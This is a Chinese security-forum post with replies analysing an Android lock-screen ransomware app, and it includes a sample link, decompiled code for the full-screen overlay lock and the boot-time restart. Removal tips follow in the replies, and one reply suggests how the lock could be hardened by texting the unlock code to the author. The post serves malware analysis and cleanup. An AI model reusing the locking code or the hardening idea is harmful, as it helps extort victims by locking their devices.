首页
社区
课程
招聘
[原创]对一恶意锁屏勒索类软件的分析、破解与清除
发表于: 2017-8-22 20:54 11300

[原创]对一恶意锁屏勒索类软件的分析、破解与清除

2017-8-22 20:54
11300

原创技术文章:《对一恶意锁屏勒索类软件的分析、破解和清除》

正文:

1、基本信息:

应用名称:酷跑刷钻助手

文件名称:com.h-1.apk

包名:com.h

软件图标:

MD5值:3b7595648ce4b92dd5ea19f01ecb3413

文件大小:154.02KB

受到威胁的系统:Android。

最低安装版本为安卓:2.3-2.3.2(Gingerbread)

对软件保护措施:des加密,简单混淆和代码误导(无加固)

安全度:低

样本编写工具:AIDE

样本地址: 03eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8U0q4G2y4#2c8a6c8@1t1@1

分析时间:2017-08-20

2、开始分析

        进行分析的操作系统:Android。

        分析所用工具:APKtool+助手(1.7.5)

        注意:由于我对smali还不太熟悉,为了不影响分析,将所有smali文件都转换成了java文件,所以下面我们讨论的都是java的文件。

        我们来预览锁机界面:       界面做的非常丑,可见作者水平不高(其实我发现大多数做锁机的人都技术水平都不高)

        好了,现在我们开始对这个锁机进行分析。

        我们首先看AndroidManifest.xml。得知此软件获取的权限有:android.permission.SEND_SMS(发送短信)

     android.permission.SYSTEM_ALERT_WINDOW(系统窗口权限,正常软件绝对用不到的一条权限)

     android.permission.RECEIVE_BOOT_COMPLETED(允许一个程序接收到 ACTION_BOOT_COMPLETED广播在系统完成启动)

     android.permission.INTERNET(网络访问权限,可能产生流量)

     android.permission.ACCESS_NETWORK_STATE(允许程序访问有关GSM网络的信息,可能产生流量)

    android.permission.WRITE_EXTERNAL_STORAGE(允许程序写入外部存储,如SD卡上写文件)

 android.permission.MOUNT_UNMOUNT_FILESYSTEMS(允许程序挂载、反挂载外部文件系统)

权限都是一个正常的锁机应有的。并且查看了一下,没什么可疑的文件,初步判断这是真正的锁机。

       还有这个: </receiver>

           <receiver android:name=".MyAdmin" android:description="@string/hello">

            <meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin"/>

            <intent-filter>

                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>

            </intent-filter>

        </receiver>

这个是激活设备管理器的。接下来我们会进行分析。

那么我们看他的启动类,是M.java。好的,我们来看看。翻的途中看到一个文件夹:ym,好奇点进去看了看,发现一个yanma.java。看了看,发现其实就是锁机界面最上面的那个时钟特效。对我们的破解没什么用。继续打开M.java看看。

         private void activiteDevice()

{

    Class v7 = Class.forName("com.h.s");

    Intent localIntent = new Intent(p0,v7);

    Intent v4 = v4.setFlags(268435456);

    ComponentName v4 = p0.startService(v4);

    return;

    String v6 = v4.getMessage();

    NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(v6);

    throw v4;

}

public void onCreate(Bundle paramBundle0)

{

    LogCatBroadcaster.start(p0);

    p0.onCreate(p1);

    p0.activiteDevice();

    return;

}

}

onCreate 方法的p0.activiteDevice就是启动锁屏服务。我们先不看s类,

来看看开机启动广播的那个类(bbb.java):public void onReceive(Context paramContext0, Intent paramIntent1)

{

    String v6 = p2.getAction();

    boolean v6 = v6.equals("android.intent.action.BOOT_COMPLETED");

    if(v6 == 0) break :cond_0;

    p0.abortBroadcast();

    Class v9 = Class.forName("com.h.s");

    Intent localIntent = new Intent(p1,v9);

    Intent v6 = v6.addFlags(268435456);

    ComponentName v6 = p1.startService(v6);

    :cond_0

    return;

    String v8 = v6.getMessage();

    NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(v8);

    throw v6;

}

获取到com.h.s这个类,然后继承父类,并启动服务。也是指向了s类,好,我们来s类看看。(提示:S类才是我们的重头戏)

         打开s.java,这个java文件中的内容比较乱,且大多数没什么研究价值。我们只要来看这些代码:private void c()

{

    WindowManager$LayoutParams localWindowManager$LayoutParams = new WindowManager$LayoutParams();

    p0.wmParams = v5;

    Application v5 = p0.getApplication();

    Application v6 = p0.getApplication();

    Object v5 = v5.getSystemService(Context.WINDOW_SERVICE);

    p0.mWindowManager = ((WindowManager)v5);

    p0.wmParams.type = 2010;

    p0.wmParams.format = 1;

    p0.wmParams.flags = 1280;

    p0.wmParams.gravity = 49;

    p0.wmParams.x = 0;

    p0.wmParams.y = 0;

    p0.wmParams.width = -1;

    p0.wmParams.height = -1;

    Application v4 = p0.getApplication();

    LayoutInflater v4 = LayoutInflater.from(v4);

    View v5 = v4.inflate(2130903042,((ViewGroup)0));

    p0.mFloatLayout = v5;

    p0.mWindowManager.addView(p0.mFloatLayout,p0.wmParams);

    View v5 = p0.mFloatLayout.findViewById(2131296258);

    p0.bt = ((Button)v5);

    View v5 = p0.mFloatLayout.findViewById(2131296257);

    p0.ed = ((EditText)v5);

    View v5 = p0.mFloatLayout.findViewById(2131296256);

    p0.tv = ((TextView)v5);

    p0.ed.setHint("");

    p0.tv.append("        ☆飞哥出品☆");

    :goto_0

    s$100000001 locals$100000001 = new s$100000001(p0);

    p0.bt.setOnClickListener(v5);

    StringBuffer localStringBuffer = new StringBuffer();

    StringBuffer localStringBuffer = new StringBuffer();

    StringBuffer v6 = v6.append("\n");

    String v7 = p0.des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c");

    StringBuffer v6 = v6.append(v7);

    String v6 = v6.toString();

    StringBuffer v5 = v5.append(v6);

    long v6 = p0.share.getLong("m",((long)0));

    StringBuffer v5 = v5.append(v6);

    String v5 = v5.toString();

    p0.tv.append(v5);

    :goto_1

    return;

    goto :goto_0

    goto :goto_1

}

看到这里我们就知道,这个锁机启动之后就创建了一个服务,服务中获取了WindowsManager,接着加载了一个LinearLayout并添加它,就实现了锁屏的效果。(锁屏类勒索软件通常利用WindowManager.LayoutParams的flags属性,设置成某个固定的值,使悬浮窗口悬浮置顶。)也就是说,如果使服务关闭,那就解除了锁屏。

接着我们直接搜索onCreate(这个方法就是在窗口被打开的时候调用的),我们看到public void onCreate()

{

    p0.onCreate();

    double v4 = Math.random();

    v4 = (v4 * ((double)10000));

    p0.pass = ((long)v4);

    v4 = (p0.pass + ((long)1));

    Long localLong = new Long(v4);

    p0.passw = v6;


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2018-9-16 13:43 被金帆编辑 ,原因:
收藏
免费 1
支持
分享
打赏 + 1.00雪花
打赏次数 1 雪花 + 1.00
 
赞赏  CCkicker   +1.00 2017/08/25
最新回复 (22)
雪    币: 30
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
由于手机编写,无法添加附件,所以在文章开头附上了样本链接。不过反灌水插件在那里关闭?让我不能发附件的好像就是这东西。
2017-8-22 21:08
0
雪    币: 2971
活跃值: (329)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
赞一个,特别是有样本~
2017-8-23 10:13
0
雪    币: 48
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
学习了,谢谢分享
2017-8-23 12:29
0
雪    币: 58782
活跃值: (21961)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
5
金帆 由于手机编写,无法添加附件,所以在文章开头附上了样本链接。不过反灌水插件在那里关闭?让我不能发附件的好像就是这东西。
反灌水插件修正了一下,看看现在还能不能发附件
2017-8-24 11:30
0
雪    币: 30
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
kanxue 反灌水插件修正了一下,看看现在还能不能发附件
坛主,问题仍然存在。
2017-8-24 17:36
0
雪    币: 30
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
金帆 坛主,问题仍然存在。
我用的是QQ浏览器。
2017-8-24 17:36
0
雪    币: 30
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
8
kanxue 反灌水插件修正了一下,看看现在还能不能发附件
我是用360浏览器上传的。
2017-8-24 18:05
0
雪    币: 30
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
9
本来由于我写这篇文章的时候比较急,没经过什么严密的分析,写的也比较粗糙,再加上第一次在看雪这种技术论坛发帖,心里很紧张。写完之后自己看了一遍,自己都对这篇文章不太看好。没想到会被坛主评为优秀,我知道这是对我的鼓励,于是我决定了!我要写一个系列!这个系列会对各类移动恶意锁屏勒索软件做详细的分析,并且对锁机这个黑色产业作详细报道。希望有兴趣的人可以持续关注。谢谢!
2017-8-24 20:45
0
雪    币: 212
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
谢谢作者的分项。
p0.wmParams.type  =  2010;在android中就是WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;//最高级别弹框。虽然高版本已经弃用了,但是还是有效果的(兼容嘛)。如果采用四位随机产生锁机码,然后将锁码短信发往作者手机里,这样就安全多了,不过在root设备的情况下,直接删除data/system/password.key即可清空开机锁码。
2017-8-25 17:03
0
雪    币: 29
活跃值: (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
金帆 本来由于我写这篇文章的时候比较急,没经过什么严密的分析,写的也比较粗糙,再加上第一次在看雪这种技术论坛发帖,心里很紧张。写完之后自己看了一遍,自己都对这篇文章不太看好。没想到会被坛主评为优秀,我知道这 ...
作者,你好,请问你可以破解在jni层的锁机吗,该锁机用了des加密,把相关string放入jni层,获取root后释放/system/app,然后启动了2个Service。。。
2017-8-27 09:37
0
雪    币: 1
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
请问DeviceAdminReceiver激活的时候不是有个激活界面吗,这个app能绕过吗?我装了,只锁屏。MyAdmin完全没起来
激活界面  d8eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0N6^5L8s2M7J5L8g2)9J5k6h3y4G2L8e0q4Q4x3X3g2*7x3q4)9J5k6h3N6D9j5W2)9J5k6h3y4D9L8%4g2V1k6r3&6Q4x3X3g2U0L8$3#2Q4x3V1k6V1k6i4k6A6j5$3g2Q4x3X3g2H3L8X3M7`.

activiteDevice这个方法粗看一下不是只启动锁屏的服务吗?
2017-8-28 14:28
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
看不懂
2017-8-28 21:21
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
2017-8-28 22:05
0
雪    币: 17
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
666
2017-8-29 08:51
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
6666
2017-8-29 13:22
0
雪    币: 30
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
邪蒿 请问DeviceAdminReceiver激活的时候不是有个激活界面吗,这个app能绕过吗?我装了,只锁屏。MyAdmin完全没起来 激活界面 583K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0N6^5L8s2M7J5L8g2)9J5k6h3y4G2L8e0q4Q4x3X3g2*7x3q4)9J5k6h3N6D9j5W2)9J5k6h3x3`. ...
没错,是我疏忽了。
2017-8-31 17:37
0
雪    币: 30
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
18
TaHiCo 作者,你好,请问你可以破解在jni层的锁机吗,该锁机用了des加密,把相关string放入jni层,获取root后释放/system/app,然后启动了2个Service。。。
给我看看。QQ:3235002166。
2017-8-31 17:37
0
雪    币: 30
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
19

2017-8-31 17:41
0
雪    币: 30
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
20
最后于 2018-9-16 13:45 被金帆编辑 ,原因:
2017-8-31 17:43
0
雪    币: 6818
活跃值: (153)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
不错!!!!!!!!!
2017-9-2 20:14
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
看完还是一脸懵逼
2017-9-3 00:32
0
雪    币: 2
活跃值: (47)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
手机如果开着USB调试可以直接adb  shell进入data/system目录下删除.key结尾的文件,pin密码一般在这里(不排除机型不同存在差别),如果twrp直接进recovery删除也行。如果手机root了并且锁屏程序写进了system/app目录下,找到apk删除(得花点时间)就行,没写到系统的话,开着USB调试可以直接进data/app/恶意软件包名/  的目录下  rm  xxx.apk删除就行。方法局限性很大,有开启USB调试并且su拿得到权限,或者有twrp。另外,一般pc机的杀软对apk有一定的识别能力,至少我前几天测试了三个样本都报毒了(手动扫),用的是魔趣7.1.2的系统,已root,第三方recovery。最搞笑的是一个直接停止运行,一个home键能退回主界面,笑死人。
2017-9-3 12:10
0
游客
登录 | 注册 方可回帖
返回